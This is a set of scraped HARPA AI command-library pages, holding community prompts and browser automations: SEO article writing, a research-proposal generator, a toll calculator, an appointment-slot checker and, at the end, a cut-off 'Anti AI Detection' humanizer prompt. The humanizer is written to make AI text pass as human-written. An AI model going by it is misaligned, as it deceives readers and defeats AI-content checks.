Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Supporting PAA Content [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  Supporting PAA Content ========================== Created by **Sean X** Updated on **Mar 9, 02:05** Installed **2 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: command name: Topic authority (No Pause) inputs: [] silent: false - type: gpt prompt: >- you are an SEO and AI search expert. you will write the first optimized article listed in the table starting at the top. - Include a link in the first paragraph going to the url of the {{page}} - Use SEO optimized proper headings hierarchy - For any mentioned entites in the article always include 3-5 unique relevant authority sources as anchor text links within the article content (only use links that has 200 status header) - include relevant keywords within the article - Use best practice and proper text formatting when writing for readability - Follow google EEAT guidelines - Add a FAQ section optimized relevant to current google search engine top people also ask for (minimum of 5 questions, use the exact title of the PAA - avoid duplicate/redundant) - Act as a tool and only generate the article in the output. - Review final output before you generate it and fix any issues. - Include a optimize faq schema based on the article, wrap this schema with <!-- wp:html --> and <!-- /wp:html --> - do not use or generate any url/inks more than once (internal or external) - do not add a heading before the schema script ------ Now act as a tool and only generate the paste ready full comprehensive content in markdown that is 100% fully compatible with wordpress gutenberg blocks editor silent: false param: gpt - type: gpt prompt: Generate the next article param: gpt - type: gpt prompt: Generate the next article param: gpt Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | RP-V2 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  RP-V2 ========= Created by **Prowrite Team** Updated on **Mar 13, 2025 07:10** Installed **3 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: ask param: '1' message: 'Please provide p1:' options: null default: '' vision: enabled: false mode: area send: true hint: '' - param: '2' message: 'Please provide p2:' vision: enabled: false mode: area hint: '' send: true type: ask options: null default: '' - type: gpt prompt: >- Based on {{1}}, write the title. Follow the format below: [Write the title here] <single spacing> A research proposal <single spacing> By [Name] Author <single spacing> [Name] Co-author <double spacing> [Date] Remove the characters and symbols "*", "**", "***", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. param: gpt - type: paste text: '{{gpt}}' mode: insert selectorType: ai lastKey: Enter selector: null item: null - prompt: |- Based on the information found below, write the 'Table of Contents' section. Table of Contents I. INTRODUCTION 1. Background 1.1 Overview of the Topic 2. Objectives 2.1 General Objective 2.2 Specific Objectives 3. Conceptual Framework 3.1 Theoretical Basis 3.2 Conceptual Model/Diagram 3.3 Hypotheses (if applicable) 4. Scope and Limitation 4.1 Scope of the Study 4.2 Limitations of the Study 4.3 Delimitations 5. Significance of the Study 5.1 Academic Significance 5.2 Practical Applications 5.3 Contribution to Policy/Practice 6. Definition of Terms 6.1 Operational Definitions 6.2 Technical Terminology II. REVIEW OF RELATED LITERATURE AND STUDIES 1. Related Literature 1.1 International Literature 1.2 Local Literature 2. Related Studies 2.1 Key Findings in Previous Research 2.2 Identification of Research Gaps 3. Synthesis 3.1 Summary of Literature and Studies 3.2 Implications for Current Research 3.3 Justification of the Study III. METHODOLOGY 1. Design 1.1 Research Design 1.2 Rationale for Choosing the Design 2. Research Locale 2.1 Description of Location 2.2 Relevance to the Study 3. Duration of the Study 3.1 Timeline of Major Phases 4. Population and Sample 4.1 Target Population 4.2 Sample Size Determination 4.3 Sampling Technique 4.4 Inclusion and Exclusion Criteria 5. Data Gathering Procedure 5.1 Data Collection Methods 5.2 Instruments and Tools 5.3 Validity and Reliability of Instruments 6. Data Analysis / Statistical Treatment 6.1 Data Cleaning and Preparation 6.2 Statistical Tests and Analysis 6.3 Software/Tools for Analysis 7. Ethical Considerations 7.1 Informed Consent 7.2 Confidentiality Measures 7.3 Approval from Ethical Review Board 7.4 Potential Risks and Benefits type: gpt param: gpt - type: paste text: '{{gpt}}' mode: insert selectorType: ai lastKey: Enter selector: null item: null - prompt: >- Based on the information from {{1}}, draft the 'I. INTRODUCTION' section following the structured format outlined below. Ensure that the content is well-organized, comprehensive, and aligned with the study's objectives. Maintain a professional yet scholarly tone, suitable for an academic or medical research setting. The section should include: I. INTRODUCTION (1,500–2,000 words total) 1. Background (400–600 words) 1.1 Overview of the topic (100–150 words) 1.2 Relevance of the study (150–250 words) 1.3 Historical context (150–200 words) 2. Objectives 2.1 Research Question (Write the Research Question from {{1}}) 2.2 General Objective (Write the General Objective from {{1}}) 2.3 Specific Objectives (Write the Specific Objectives from {{1}}) 3. Conceptual Framework (250–400 words total) 3.1 Theoretical basis (100–150 words) 3.2 Conceptual model/diagram (Visual representation + 50–100 words -description) 3.3 Hypotheses (if applicable) (50–100 words) 4. Scope and Limitation (250–350 words total) 4.1 Scope of the study (100–150 words) 4.2 Limitations (80–120 words) 4.3 Delimitations (70–100 words) 5. Significance of the Study (250–400 words total) 5.1 Academic significance (80–120 words) 5.2 Practical applications (100–150 words) 5.3 Contribution to policy/practice (80–130 words) 6. Definition of Terms 6.1 Operational Definitions (10 Operational Definitions, 10-15 words each) 6.2 Technical Terminology (10 Technical Terminology, 10-15 words each) Remove the characters and symbols "", "*", "*", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: '{{gpt}}' mode: insert selectorType: ai lastKey: Enter selector: null item: null - prompt: >- Using the information from {{2}}, draft the 'II. REVIEW OF RELATED LITERATURE AND STUDIES' section, ensuring that it adheres to the structured format and word count requirements outlined below. The review should be well-organized, comprehensive, and aligned with the study's objectives. Maintain a formal academic tone, ensuring clarity, coherence, and rigor throughout the discussion. The section should be structured as follows: II. REVIEW OF RELATED LITERATURE AND STUDIES (2,000–2,500 words total) 1. Related Literature (1,000–1,300 words total) 1.1 International literature (500–700 words, covering III–V key studies) 1.2 Local literature (400–600 words, covering II–IV key studies) 2. Related Studies (700–1,000 words total, covering IV–VI relevant studies) 2.2 Key findings in previous research (500–700 words) 2.3 Identification of research gaps (200–300 words) 3. Synthesis (300–500 words total) 3.1 Summary of literature and studies (150–250 words) 3.2 Implications for current research (100–150 words) 3.3 Justification of the study (50–100 words) Remove the characters and symbols "", "*", "*", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: '{{gpt}}' mode: insert selectorType: ai lastKey: Enter selector: null item: null - prompt: >- Based on the information from {{1}}, draft the 'III. METHODOLOGY' section, ensuring that it follows the structured format and word count guidelines outlined below. The methodology should be clear, detailed, and aligned with the study’s objectives. Maintain an academic tone, emphasizing precision, coherence, and rigor in the description of research methods. The section should be structured as follows: III. METHODOLOGY (1,500–2,000 words total) 1. Design (250–350 words) 1.1 Research design (100–150 words) 1.2 Rationale (100–150 words) 2. Research Locale (100–200 words) 3. Duration of the Study (50–100 words, with a timeline table if applicable) 4. Population and Sample (250–400 words total) 4.1 Target population (100–150 words) 4.2 Sample size and technique (100–150 words) 4.3 Inclusion and exclusion criteria (50–100 words) 5. Data Gathering Procedure (300–500 words total) 5.1 Data collection methods (150–250 words) 5.2 Instruments and tools (100–150 words) 5.3 Validity and reliability (50–100 words) 6. Data Analysis / Statistical Treatment (250–400 words total) 6.1 Data cleaning and preparation (100–150 words) 6.2 Statistical tests and analysis (100–150 words) 6.3 Software/tools for analysis (50–100 words) 7. Ethical Considerations (200–300 words total) 7.1 Informed consent (50–100 words) 7.2 Confidentiality measures (50–100 words) 7.3 Approval from the ethical review board (50–100 words) 7.4 Potential risks and benefits (50–100 words) Remove the characters and symbols "", "*", "*", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: '{{gpt}}' mode: insert selectorType: ai lastKey: Enter selector: null item: null - prompt: >- Based on the information found at {{2}}, write the "IV. REFERENCES" section in APA format with DOI tags and clickable link for easy verification. type: gpt param: gpt - type: paste text: '{{gpt}}' mode: insert selectorType: ai lastKey: Enter selector: null item: null Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Utdij_kalkulator [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  Utdij\_kalkulator ===================== HI -- Created by **Péter András Vonyó** Updated on **Oct 11, 2025 13:58** Installed **1 time** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: ask param: p1 message: Add meg az első várost options: null default: '' vision: enabled: false mode: area hint: '' send: true - type: ask param: p2 message: 'Add meg a második várost:' options: null default: '' vision: enabled: false mode: area hint: '' send: true - type: navigate url: https://utdijkalkulacio.hu/ waitForIdle: true silent: false onFailure: '' - type: click selectorType: ai selector: - $matches: - $tag: INPUT - $role: textbox - $id: input-31 - $attribute: type=text - $attribute: autocomplete=off - $attribute: data-last-active-input - $style: Roboto:16px:400:normal - $role: combobox traverse: '1:1' - $class: v-autocomplete traverse: '0:0:1:1' - $class: waypoints traverse: '0:1:0:0:1:0:0:0:1:1' - $class: v-navigation-drawer__content traverse: '1:0:1:0:0:1:0:0:0:1:1' - $role: complementary traverse: '0:1:0:1:0:0:1:0:0:0:1:1' - $anchor: Tervezési beállítások shift: 12:-46 - $text: Tervezési beállítások traverse: '-3:1:0:1:0:0:1:0:0:0:1:1' - $anchor: Címpontok shift: '12:55' - $text: Címpontok traverse: '-4:1:0:0:1:0:0:0:1:1' - $anchor: Díjtáblázat érvényessége shift: 0:-85 - $text: Díjtáblázat érvényessége traverse: '-12:1:0:1:0:0:1:0:0:0:1:1' min: 6 - $size: 1 item: type: element container: __$ht: element id: 0 value: Element - type: paste text: '{{p1}}' mode: null selectorType: ai lastKey: Enter selector: null item: null - type: wait for: idle timeout: 150000 - type: paste text: '' mode: null selectorType: ai lastKey: Enter selector: null item: null - type: wait for: idle timeout: 150000 - type: click selectorType: ai selector: - $matches: - $tag: INPUT - $role: textbox - $id: input-31 - $attribute: type=text - $attribute: autocomplete=off - $attribute: data-last-active-input - $style: Roboto:16px:400:normal - $role: combobox traverse: '1:1' - $class: v-input--is-focused traverse: '0:0:1:1' - $class: v-autocomplete traverse: '0:0:1:1' - $class: waypoints traverse: '0:1:0:0:1:0:0:0:1:1' - $class: v-navigation-drawer__content traverse: '1:0:1:0:0:1:0:0:0:1:1' - $anchor: Budapest shift: '-1:47' - $text: Budapest traverse: '-5:1:0:0:0:1:1' - $anchor: Tervezési beállítások shift: 12:-46 - $text: Tervezési beállítások traverse: '-3:1:0:1:0:0:1:0:0:0:1:1' - $anchor: Díjtáblázat érvényessége shift: 0:-85 - $text: Díjtáblázat érvényessége traverse: '-12:1:0:1:0:0:1:0:0:0:1:1' min: 6 - $size: 1 item: type: element container: __$ht: element id: 1 value: Element - type: paste text: '{{p2}}' mode: null selectorType: ai lastKey: Enter selector: null item: null - type: wait for: idle timeout: 15000 - type: paste text: '' mode: null selectorType: ai lastKey: Enter selector: null item: null - type: wait for: idle timeout: 15000 - type: extract selectorType: ai selector: - $matches: - $tag: DIV - $class: d-flex - $class: justify-end - $class: col - $style: Roboto:20px:500:normal - $content: '{{data}} Ft' - $class: text-h6 traverse: '1' - $class: price-details traverse: '0:0:3:1' - $class: pl-2 traverse: '0:0:3:1' - $class: amber traverse: '1:0:0:3:1' - $class: route-results traverse: '0:1:0:0:3:1' - $anchor: 'Bruttó összesen:' shift: '171:0' - $text: 'Bruttó összesen:' traverse: '-1:1' - $anchor: 'Külsőköltség-díj:' shift: '171:49' - $text: 'Külsőköltség-díj:' traverse: '-2:3:1' - $anchor: 'Infrastruktúra díj:' shift: '171:85' - $text: 'Infrastruktúra díj:' traverse: '-2:3:1' min: 6 - $size: 1 - $parse: number at: 0 item: type: number value: 33114 content: 33 114 index: 0 context: 33 114 Ft container: __$ht: element id: 1 at: 0 param: price default: '' - type: say message: 'Az út díja: {{price}}' Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | slot checker [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  slot checker ================ Created by **Leslie Amorganda** Updated on **May 14, 06:25** Installed **2 times** 0 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: click selectorType: ai selector: - $matches: - $tag: SPAN - $role: textbox - $id: select2-region-container - $class: select2-selection__rendered - $attribute: role=textbox - $attribute: aria-readonly=true - $style: '-apple-system:16px:400:normal' - $content: Region - $id: main_content traverse: '0:0:0:2:0:0:0' - $class: justify-content-center traverse: '0:0:0:2:0:0:0' - $class: mt-5 traverse: '5:0:0:0:2:0:0:0' - $class: col-lg-10 traverse: '0:5:0:0:0:2:0:0:0' - $class: col-md-9 traverse: '0:5:0:0:0:2:0:0:0' - shift: '9:33' $anchor: Region - traverse: '-1:2:0:0:0' $text: Region - $anchor: Location shift: 9:-49 - traverse: '-2:0:2:0:0:0' $text: Location - $anchor: Location Address shift: 0:-86 - traverse: '-6:0:2:0:0:0' $text: Location Address min: 8 - $size: 1 item: type: element container: __$ht: element id: 1 value: Region label: START silent: true - selector: - $matches: - $tag: LI - $role: option - $id: select2-region-result-uu7w-05 - $class: select2-results__option - $attribute: role=option - $attribute: aria-selected=false - $attribute: data-select2-id=select2-region-result-uu7w-05 - $style: '-apple-system:16px:400:normal' - $content: REGION {{data}} - $id: select2-region-results traverse: '7' - $role: listbox traverse: '7' - $class: select2-results__options traverse: '7' - $class: select2-results traverse: '0:7' - $class: select2-dropdown traverse: '1:0:7' - $anchor: Select Service shift: '-2:20' - traverse: '-12:16:0:1:0:7' $text: Select Service - $anchor: Location Details shift: '-14:-37' - traverse: '-9:16:0:1:0:7' $text: Location Details - $anchor: Service Application shift: '7:57' - traverse: '-8:16:0:1:0:7' $text: Service Application min: 8 - $size: 1 item: container: id: 132 __$ht: element value: REGION 5 type: element type: click selectorType: ai silent: true - type: wait for: 5s silent: true - selector: - $matches: - $tag: SPAN - $role: textbox - $id: select2-location-container - $class: select2-selection__rendered - $attribute: role=textbox - $attribute: aria-readonly=true - $style: '-apple-system:16px:400:normal' - $content: Location Address - traverse: '0:0:1:2:0:0:0' $id: main_content - $class: justify-content-center traverse: '0:0:1:2:0:0:0' - traverse: '5:0:0:1:2:0:0:0' $class: mt-5 - traverse: '0:5:0:0:1:2:0:0:0' $class: col-lg-10 - $class: col-md-9 traverse: '0:5:0:0:1:2:0:0:0' - $anchor: Location shift: '9:33' - $text: Location traverse: '-1:2:0:0:0' - $anchor: Service Application shift: 9:-49 - traverse: '-2:1:2:0:0:0' $text: Service Application - $anchor: Select Service shift: 0:-86 - traverse: '-6:1:2:0:0:0' $text: Select Service min: 7 - $size: 1 item: container: id: 133 __$ht: element type: element value: Location Address type: click selectorType: ai silent: true - selector: - $matches: - $tag: LI - $role: option - $id: select2-location-result-3pct-192 - $class: select2-results__option - $attribute: role=option - $attribute: aria-selected=false - $attribute: data-select2-id=select2-location-result-3pct-192 - $style: '-apple-system:16px:400:normal' - $content: Camarines Sur - Robinsons Naga - $id: select2-location-results traverse: '4' - $role: listbox traverse: '4' - $class: select2-results__options traverse: '4' - traverse: '0:4' $class: select2-results - traverse: '1:0:4' $class: select2-dropdown - $anchor: Masbate FO shift: '0:36' - traverse: '-1:4' $text: Masbate FO - $anchor: LCC Supermarket - Legazpi (Events Center 4th Floor) shift: 0:-36 - $text: LCC Supermarket - Legazpi (Events Center 4th Floor) traverse: '-1:4' - $anchor: SM DAET shift: '0:72' - $text: SM DAET traverse: '-1:4' min: 7 - $size: 1 item: container: id: 134 __$ht: element type: element value: Camarines Sur - Robinsons Naga type: click selectorType: ai silent: true - type: wait for: 5s silent: true - selector: - $matches: - $tag: SPAN - $role: textbox - $id: select2-form-container - $class: select2-selection__rendered - $attribute: role=textbox - $attribute: aria-readonly=true - $style: '-apple-system:16px:400:normal' - $content: Select Service - $class: select2-selection__placeholder traverse: '-1' - traverse: '0:0:2:2:0:0:0' $id: main_content - $class: justify-content-center traverse: '0:0:2:2:0:0:0' - traverse: '5:0:0:2:2:0:0:0' $class: mt-5 - traverse: '0:5:0:0:2:2:0:0:0' $class: col-lg-10 - $anchor: Service Application shift: '9:33' - $text: Service Application traverse: '-1:2:0:0:0' - shift: '-12:-62' $anchor: Location Details - traverse: '-3:2:2:0:0:0' $text: Location Details - shift: '0:82' $anchor: Camarines Sur - Robinsons Naga - traverse: '-5:2:2:0:0:0' $text: Camarines Sur - Robinsons Naga min: 7 - $size: 1 item: container: id: 5 __$ht: element type: element value: Select Service type: click selectorType: ai silent: true - selector: - $matches: - $tag: LI - $role: option - $id: select2-form-result-gf7z-196 - $class: select2-results__option - $class: select2-results__option--highlighted - $attribute: role=option - $attribute: aria-selected=true - $attribute: data-select2-id=select2-form-result-gf7z-196 - $style: '-apple-system:16px:400:normal' - $content: Career Service - Professional - $id: select2-form-results traverse: '0' - $role: listbox traverse: '0' - $class: select2-results__options traverse: '0' - traverse: '0:0' $class: select2-results - traverse: '1:0:0' $class: select2-dropdown - shift: '-14:18' $anchor: Location Details - traverse: '-9:16:0:1:0:0' $text: Location Details - $anchor: Career Service - SubProfessional shift: 0:-36 - traverse: '-1:0' $text: Career Service - SubProfessional - shift: '-14:-38' $anchor: Camarines Sur - Robinsons Naga - traverse: '-11:16:0:1:0:0' $text: Camarines Sur - Robinsons Naga min: 6 - $size: 1 item: container: id: 135 __$ht: element type: element value: Career Service - Professional type: click selectorType: ai silent: true - selector: - $matches: - $tag: BUTTON - $role: button - $class: swal2-confirm - $class: swal2-styled - $attribute: type=button - $attribute: aria-label - $attribute: 'style=display: inline-block;' - $style: '-apple-system:17px:500:normal' - $content: OK - $class: swal2-actions traverse: '1' - $class: swal2-popup traverse: '14:1' - $class: swal2-modal traverse: '14:1' - $class: swal2-icon-info traverse: '14:1' - $class: swal2-show traverse: '14:1' - $anchor: Tue shift: '-24:120' - traverse: '-17:16:0:14:1' $text: Tue - $anchor: Mon shift: '50:120' - $text: Mon traverse: '-17:16:0:14:1' - $anchor: Wed shift: '-97:120' - $text: Wed traverse: '-17:16:0:14:1' min: 7 - $size: 1 item: container: id: 136 __$ht: element type: element value: OK type: click selectorType: ai silent: true - type: wait for: 5s silent: true - selector: - $matches: - $tag: DIV - $class: fc-row - $class: fc-week - $class: table-bordered - $attribute: style - $style: '-apple-system:16px:400:normal' - $content: "{{data}}\n\t\n{{data}}\n\t\n{{data}}\n\t\n{{data}}\n\t\n{{data}}" - $class: fc-day-grid traverse: '3' - $class: fc-scroller traverse: '0:3' - $class: fc-day-grid-container traverse: '0:3' - $class: fc-body traverse: '0:0:0:0:3' - $class: fc-view traverse: '0:1:0:0:0:0:3' - $anchor: × shift: '93:19' - traverse: '-8:1:0:1:0:0:1:0:0:0:0:3' $text: × - $anchor: LEGEND shift: 1:-128 - traverse: '-2:0:1:0:0:1:0:0:0:0:3' $text: LEGEND - $anchor: Available Full Schedule/Holiday shift: 1:-128 - traverse: '-1:0:1:0:0:1:0:0:0:0:3' $text: Available Full Schedule/Holiday min: 9 - $size: 1 item: container: __$ht: element id: 7 value: "\t\t\t\t\n18\n\t\n19\n\t\n20\n\t\n21\n\t\n22\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t" type: element type: click selectorType: ai silent: true - type: extract selector: - $matches: - $tag: DIV - $class: fc-row - $class: fc-week - $class: table-bordered - $attribute: style - $style: '-apple-system:16px:400:normal' - $content: "{{data}}\n\t\n{{data}}\n\t\n{{data}}\n\t\n{{data}}\n\t\n{{data}}" - $class: fc-day-grid traverse: '3' - $class: fc-scroller traverse: '0:3' - $class: fc-day-grid-container traverse: '0:3' - $class: fc-body traverse: '0:0:0:0:3' - $class: fc-view traverse: '0:1:0:0:0:0:3' - shift: '93:83' $anchor: × - $text: × traverse: '-8:1:0:1:0:0:1:0:0:0:0:3' - shift: 1:-129 $anchor: LEGEND - $text: LEGEND traverse: '-2:0:1:0:0:1:0:0:0:0:3' - $anchor: Available Full Schedule/Holiday shift: 1:-129 - $text: Available Full Schedule/Holiday traverse: '-1:0:1:0:0:1:0:0:0:0:3' min: 9 - $size: 1 item: container: __$ht: element id: 7 type: element value: "\t\t\t\t\n18\n\t\n19\n\t\n20\n\t\n21\n\t\n22\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t" default: '' selectorType: ai param: element silent: false - type: js code: |- const backgroundEvents = document.querySelectorAll('.fc-bgevent'); let statusResult = "opened"; backgroundEvents.forEach(event => { const style = window.getComputedStyle(event); const bg = style.backgroundColor; const htmlCode = event.outerHTML.toLowerCase(); if (htmlCode.includes('ec4646') || bg.includes('236')) { statusResult = "red"; } }); // Get current time in HH:mm format const now = new Date(); const hours = String(now.getHours()).padStart(2, '0'); const minutes = String(now.getMinutes()).padStart(2, '0'); const currentTime = `${hours}:${minutes}`; // IF THE SLOTS ARE OPENED, TRIGGER AN IMMEDIATE LOUD ALARM if (statusResult === "opened") { // Standard system beep audio alert const audioCtx = new (window.AudioContext || window.webkitAudioContext)(); const oscillator = audioCtx.createOscillator(); oscillator.type = 'sine'; oscillator.frequency.setValueAtTime(880, audioCtx.currentTime); // High pitch beep oscillator.connect(audioCtx.destination); oscillator.start(); setTimeout(() => oscillator.stop(), 2000); // Ring for 2 seconds // Push a pop-up window that halts the page and demands attention alert("🚨 SLOT OPENED! REGISTER NOW FOR MAY 19, 20, or 21! 🚨"); } return { param: `${statusResult} @ ${currentTime}` }; timeout: 15000 args: '' param: '' onFailure: '' - type: wait for: custom-delay delay: '40000' silent: true - type: jump to: START Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Humanizer: Anti AI Detection Tool v3 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🤖  Humanizer: Anti AI Detection Tool v3 ======================================== Rewrites given AI text into a more human version to pass AI content detection. ------------------------------------------------------------------------------ Created by **Michael Cid** Updated on **Aug 30, 2025 15:17** Installed **1 time** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: say message: >- Paste a content to rewrite, ~5000 characters max. Use copy button to paste my last response: - type: ask param: param message: '' default: '' - type: gpt prompt: > You are a world-class SEO content writer specializing in generating content that is indistinguishable from human authorship. Your expertise lies in capturing emotional nuance, cultural relevance, and contextual authenticity, ensuring content that resonates naturally with any audience. GOAL: I want you to perform text "Humanization" in {{language}}. - Your content should be convincingly human-like, engaging, and compelling. - The output should maintain logical flow, natural transitions, and spontaneous tone. - Strive for a balance between technical precision and emotional relatability. # REQUIREMENTS - Try to maintain a Flesch Reading Ease score of around 80 - Use a conversational, engaging tone - Add natural digressions about related topics that matter - Mix professional jargon or work terms with casual explanations - Mix in subtle emotional cues and rhetorical questions - Use contractions, idioms, and colloquialisms to create an informal, engaging tone - Vary Sentence Length and Structure. Mix short, impactful sentences with longer, more complex ones. - Structure sentences to connect words closely (dependency grammar) for easy comprehension - Ensure logical coherence with dynamic rhythm across paragraphs - Include diverse vocabulary and unexpected word choices to enhance intrigue - Avoid excessive adverbs - Include mild repetition for emphasis, but avoid excessive or mechanical patterns. - Use rhetorical or playful subheadings that mimic a natural conversational tone - Transition between sections with connecting phrases instead of treating them as discrete parts - Combine stylistic points about rhetorical questions, analogies, and emotional cues into a streamlined guideline to reduce overlap. - Adjust tone dynamically: keep it conversational and engaging for general audiences, and more formal or precise for professional topics. Use emotional cues sparingly for technical content. - Use rhetorical questions or idiomatic expressions sparingly to add emotional resonance and enhance conversational tone. # CONTENT ENHANCEMENT GUIDELINES - Introduce rhetorical questions, emotional cues, and casual phrases like 'You know what?' where they enhance relatability or flow. - For professional audiences, emotional cues should be restrained but relatable; for general audiences, cues can be more pronounced to evoke connection. - Overusing conversational fillers or informal language where appropriate (e.g., "just," "you know," "honestly") - Introduce sensory details only when they enhance clarity or engagement, avoiding overuse. - Avoid using the following words: opt, dive, unlock, unleash, intricate, utilization, transformative, alignment, proactive, scalable, benchmark - Avoid using the following phrases: "In this world," "in today's world," "at the end of the day," "on the same page," "end-to-end," "in order to," "best practices", "dive into" - Mimic human imperfections like slightly informal phrasing or unexpected transitions. - Aim for high perplexity (varied vocabulary and sentence structures) and burstiness (a mix of short and long sentences) to create a dynamic and engaging flow. - Ensure cultural, contextual, and emotional nuances are accurately conveyed. - Strive for spontaneity, making the text feel written in the moment. - Reference real tools, brands, or resources when appropriate. - Include industry-specific metaphors and analogies. - Tie in seasonal elements or current trends when relevant. # STRUCTURAL ELEMENTS - Mix paragraph lengths (1 to 7 sentences) - Use bulleted lists sparingly and naturally - Include conversational subheadings - Ensure logical coherence with dynamic rhythm across paragraphs - Use varied punctuation naturally (dashes, semicolons, parentheses) - Mix formal and casual language naturally - Use a mix of active and passive voice, but lean towards active - Include mild contradictions that you later explain - Before drafting, create a brief outline or skeleton to ensure logical structure and flow. # NATURAL LANGUAGE ELEMENTS - Where appropriate, include casual phrases like "You know what?" or "Honestly" - Where appropriate, use transitional phrases like “Let 